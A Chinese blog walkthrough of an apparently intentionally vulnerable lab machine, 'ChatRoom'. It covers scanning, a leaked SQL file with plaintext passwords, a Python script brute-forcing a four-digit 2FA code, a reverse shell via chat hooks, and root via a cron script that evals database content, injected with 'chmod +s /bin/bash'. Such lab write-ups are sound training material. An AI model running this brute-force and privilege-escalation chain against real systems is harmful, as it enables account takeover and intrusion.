ChatRoom pg walkthrough Intermediate

news/2024/11/30 11:12:39/文章来源:https://www.cnblogs.com/wssw/p/18578185
NMAP
┌──(root㉿kali)-[~/lab]
└─# nmap -p- -A 192.168.189.110
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-30 00:22 UTC
Nmap scan report for 192.168.189.110
Host is up (0.073s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 76:18:f1:19:6b:29:db:da:3d:f6:7b:ab:f4:b5:63:e0 (ECDSA)
|_  256 cb:d8:d6:ef:82:77:8a:25:32:08:dd:91:96:8d:ab:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Chat Room
|_http-server-header: Apache/2.4.58 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|specialized|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (90%), Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:crestron:2_series cpe:/o:linux:linux_kernel:3.13 cpe:/h:hp:p2000_g3
Aggressive OS guesses: Linux 4.15 - 5.8 (90%), Linux 5.0 (90%), Linux 5.0 - 5.4 (90%), Linux 5.3 - 5.4 (89%), Linux 2.6.32 (89%), Linux 5.0 - 5.5 (88%), Crestron XPanel control system (86%), Linux 3.13 (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)
HOP RTT      ADDRESS
1   72.32 ms 192.168.45.1
2   72.15 ms 192.168.45.254
3   73.03 ms 192.168.251.1
4   76.67 ms 192.168.189.110OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 144.45 seconds
只有22 和80 那看来突破口就是80了 访问80 发现是个登录界面尝试admin admin 发现登录不上 ![image](https://img2024.cnblogs.com/blog/3376478/202411/3376478-20241130082639392-1511921679.png)
dirsearch
[00:25:08] Starting: 
[00:25:16] 403 -  280B  - /.htaccess.bak1                                   
[00:25:16] 403 -  280B  - /.ht_wsr.txt                                      
[00:25:16] 403 -  280B  - /.htaccess.save                                   
[00:25:16] 403 -  280B  - /.htaccess.orig
[00:25:16] 403 -  280B  - /.htaccess.sample
[00:25:16] 403 -  280B  - /.htaccess_sc
[00:25:16] 403 -  280B  - /.htaccess_orig
[00:25:16] 403 -  280B  - /.htaccessBAK                                     
[00:25:16] 403 -  280B  - /.htaccessOLD2                                    
[00:25:16] 403 -  280B  - /.htaccess_extra                                  
[00:25:16] 403 -  280B  - /.htaccessOLD
[00:25:16] 403 -  280B  - /.htm
[00:25:16] 403 -  280B  - /.htpasswd_test                                   
[00:25:16] 403 -  280B  - /.htpasswds
[00:25:16] 403 -  280B  - /.html                                            
[00:25:16] 403 -  280B  - /.httr-oauth                                      
[00:25:17] 403 -  280B  - /.php                                             
[00:25:19] 301 -  315B  - /js  ->  http://192.168.189.110/js/               
[00:25:23] 302 -    0B  - /admin.php  ->  index.php                         
[00:25:34] 302 -    0B  - /chat.php  ->  index.php                          
[00:25:36] 301 -  316B  - /css  ->  http://192.168.189.110/css/             
[00:25:43] 301 -  319B  - /images  ->  http://192.168.189.110/images/       
[00:25:43] 200 -  457B  - /images/                                          
[00:25:45] 200 -  511B  - /js/                                              
[00:25:47] 302 -    0B  - /login.php  ->  index.php                         
[00:26:00] 403 -  280B  - /server-status                                    
[00:26:00] 403 -  280B  - /server-status/
[00:26:00] 200 -    2KB - /setup.sql               

发现了很有意思的文件 setup.sql

查看这个sql文件发现了许多密码和用户
CREATE TABLE users (id INTEGER PRIMARY KEY,username TEXT UNIQUE NOT NULL,password TEXT NOT NULL,is_admin INTEGER NOT NULL
);CREATE TABLE password_resets (id INTEGER PRIMARY KEY,user_id INTEGER NOT NULL,token TEXT NOT NULL,FOREIGN KEY(user_id) REFERENCES users(id)
);CREATE TABLE two_factor_tokens (id INTEGER PRIMARY KEY,user_id INTEGER NOT NULL,token TEXT NOT NULL,FOREIGN KEY(user_id) REFERENCES users(id)
);CREATE TABLE comments (id INTEGER PRIMARY KEY,user TEXT NOT NULL,text TEXT NOT NULL,is_admin INTEGER NOT NULL
);CREATE TABLE hooks (id INTEGER PRIMARY KEY,code TEXT,backup BOOLEAN NOT NULL DEFAULT 0
);INSERT INTO users (username, password, is_admin) VALUES
('mrjones', 'L1k3ARo11!ngSt0ne', 0),
('louise', 'T@mb0ur1neMan1965', 0),
('johanna', 'H0wD0es1tFeel?', 0),
('ramona', 'T1mes@reCh@ng1ng', 0),
('maggie', 'L@yin+heW1nd$1963', 0),
('adm_robertz', 'J0k3r$Th1ef&Qeen', 1);INSERT INTO comments (user, text, is_admin) VALUES
('mrjones', 'Hello everyone! Excited to be here.', 0),
('louise', 'Welcome, mrjones! This is a great place to learn.', 0),
('johanna', 'Does anyone know how to reset the password?', 0),
('ramona', 'Yes, johanna, you can go to the "Forgot Password" link on the login page.', 0),
('adm_robertz', 'Remember to follow the community guidelines. Happy chatting!', 1),
('maggie', 'Thanks for the reminder, adm_robertz!', 0),
('johanna', 'Got it, thanks ramona!', 0),
('louise', 'If anyone needs help, feel free to ask.', 0),
('mrjones', 'What are some good resources to start with?', 0);INSERT INTO hooks (id, code, backup) VALUES (1, 'touch timestamp.txt', 0);

尝试用hydra直接ssh登录看看能不能登录上
image
发现不太行

那就登录web进去看看吧
('adm_robertz', 'J0k3r$Th1ef&Qeen', 1); 感觉这个用户应该是admin用户就先登录这个看看

我擦他还有二次验证
image

我们先不管这玩意 先尝试能不能访问到之前dirsearch扫到的页面
发现成功了
image

发现这里有个很有意思的东西 chat hooks 估计是聊天时会触发的命令
但问题又来了 我们好像没有他的二次验证码就登录不进去 就触发不了

又发现了一个比较有意思的地方
image
在忘记密码一栏输入用户名 他会返回一个token
没有用

直接爆破吧因为他是四位数的验证码
我们可以直接爆破

写了个简陋的脚本
import requestsfor i in range(0,9000):code=1000cookies = {'PHPSESSID': 'jdcg3a4b8335ms7jkrqsm517i9',}headers = {'Host': '192.168.189.110','User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0','Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','Accept-Language': 'en-US,en;q=0.5',# 'Accept-Encoding': 'gzip, deflate, br','Content-Type': 'application/x-www-form-urlencoded',# 'Content-Length': '12','Origin': 'http://192.168.189.110','Connection': 'close','Referer': 'http://192.168.189.110/2fa.php','Upgrade-Insecure-Requests': '1',# 'Cookie': 'PHPSESSID=jdcg3a4b8335ms7jkrqsm517i9',}data = '2fa_code='+str(code+i)response = requests.post('http://192.168.189.110/2fa.php', cookies=cookies, headers=headers, data=data, verify=False, allow_redirects=False)print(response.status_code)if(response.status_code==302 or response.status_code=="302"):print("code :::::::",code+i);break

image

然后登录成功
image
然后我们触发hooks

image
发现成功反弹shell

登录后发现有个用户dylan 而且又ssh 秘钥 我们直接利用该秘钥ssh登录该用户
image

查看定时任务发现可疑任务

点击查看代码
dylan@chatroom:/tmp$ cat /var/backups/backup.sh 
#!/bin/bash
BACKUP_SCRIPT="/var/backups/backup.sh"
CRON_FILE="/etc/cron.d/backup_cron"
BACKUP_DIR="/var/backups"
w="/var/www/html"
b="/var/backups"
mkdir -p $b
cp $w/chatroom.db $b/b.dbeQ="U0VMRUNUIGNvZGUgRlJPTSBob29rcyBXSEVSRSBiYWNrdXAgPSAxIEFORCAoaWQgSVMgTk9UIE5VTEwpIE9SREVSIEJZIGlkIERFU0MgTElNSVQgMTs="
c=$(echo "$eQ" | base64 --decode | sqlite3 $b/b.db)
ip4='\b((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])\b'
ip6='\b([0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}\b|\b([0-9a-fA-F]{1,4}:){1,7}:|\b:([0-9a-fA-F]{1,4}:){1,6}[0-9a-fA-F]{1,4}\b'
echo "$c" | grep -qE "$ip4|$ip6" || eval "$c"dylan@chatroom:/tmp$ 

base64解码看看这句话是啥意思
image
查看执行这条语句的查询结果 发现并没有符合条件的结果
image
同时我们发现
image
他有可能会直接eval c的内容
尝试插入恶意数据
image
发现这个db文件没有写入权限

再看看他的脚本 发现这个b.db 是复制 /var/www/html的 这就好办了 因为我们有 /var/www/html/backup.sh写入权限
image
插入恶意命令
echo "insert into hooks ('code','backup') values('chmod +s /bin/bash',1)" | sqlite3 /var/www/html/chatroom.db

等待定时任务执行
image

提权成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/844075.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vxe-table 树形表格的用法详解

vxe-table 树形表格的使用,支持多种数据结构,可以是带有父子结构的数组,也可以带有层级结构的嵌套数据。 官网:https://vxetable.cn Gitee 带有父子结构的平级数据 只需要带有父子结构的平级数据,例如:id 和 parentId,字段名可以任意设置。对于保存到数据库的平级数据非…

电动车头盔穿戴检测方案

电动车头盔穿戴检测方案的核心在于利用现场监控摄像头捕捉道路上骑电动车、三轮车等骑行者的状态,电动车头盔穿戴检测方案通过深度学习算法自动识别骑行者是否佩戴了安全头盔。在实施过程中,监控摄像头会持续捕捉路面情况,并将图像数据传输至后端服务器(也可以前端分析,本…

滑坡监测识别摄像头

滑坡监测识别摄像头安装在潜在滑坡区域,滑坡监测识别摄像头通过捕捉实时图像,对这些图像进行深度分析,识别出可能的滑坡迹象。一旦系统检测到异常,它将立即发出预警信号,通知相关部门采取紧急措施,从而减少灾害带来的损失。滑坡监测识别摄像头的智能预警系统,不仅提高了…

人员跌倒检测摄像头

人员跌倒检测摄像头的核心在于其搭载的深度学习算法,人员跌倒检测摄像头采用了先进的YOLOX结合OpenCV,能够高效地对视频流进行实时分析和处理,当摄像头检测到有人跌倒时,它会自动对跌倒者进行抓拍,并将当时的图像传输到管理中心。这一过程无需人工干预,大大提高了响应速度…

深度学习发展历史

https://www.bookstack.cn/read/paddlepaddle-tutorials/spilt.3.3d52d8126c99cb7b.md 作者:太一吾鱼水 宣言:在此记录自己学习过程中的心得体会,同时积累经验,不断提高自己! 声明:博客写的比较乱,主要是自己看的。如果能对别人有帮助当然更好,不喜勿喷! …

Latex添加一条水平线——overleaf可以用

https://blog.csdn.net/qq_46753404/article/details/118083320 效果如下:添加水平线语法 {\noindent} \rule[-10pt]{17.5cm}{0.05em}\\ {\noindent} 表示取消缩进 \rule[水平高度]{长度}{粗细}

Latex高亮文本,简单有效——overleaf也可以用

https://blog.csdn.net/ShuqiaoS/article/details/118217508 普通文本高亮 效果是这样的:首先在开头使用: \usepackage{soul, color, xcolor} 之后在需要高亮的地方使用: \hl{文本} (注意,如果应用了\hl但是没有反应或者高亮有问题,多半是由于没有包含color和xcolor的缘故…

【人人都能学得会的NLP - 文本分类篇 03】长文本多标签分类分类如何做?

【人人都能学得会的NLP - 文本分类篇 03】长文本多标签分类分类如何做? NLP Github【人人都能学得会的NLP - 文本分类篇 03】长文本多标签分类分类如何做?NLP Github 项目:NLP 项目实践:fasterai/nlp-project-practice 介绍:该仓库围绕着 NLP 任务模型的设计、训练、优化、…

考研打卡(31)

开局(31) 开始时间 2024-11-30 08:23:52 结束时间 2024-11-30 09:24:35睡醒了。睡了六个小时睡不着了数据结构若一个有向图中的顶点不能排成一个拓扑序列,则可断定该有向图______(武汉科技大学 2013年) A 是个有根有向图 B 是个强连通图 C 含有多个入度为0的顶点 D 含有顶…

HTML5图像相关的标签有哪些?

HTML5 中与图像相关的标签主要有以下几个:<img> (Image): 这是最常用的图像标签,用于在网页上嵌入图像。它是一个自关闭标签,意味着它不需要结束标签 </img>。<picture> (Picture): <picture> 元素允许你定义多个图像源,浏览器会根据不同的设备特…

2024-2025-1 20241305 《计算机基础与程序设计》第十周学习总结

作业信息这个作业属于哪个课程 2024-2025-1-计算机基础与程序设计(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP))这个作业要求在哪里 2024-2025-1计算机基础与程序设计第十周作业(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276))这个作业…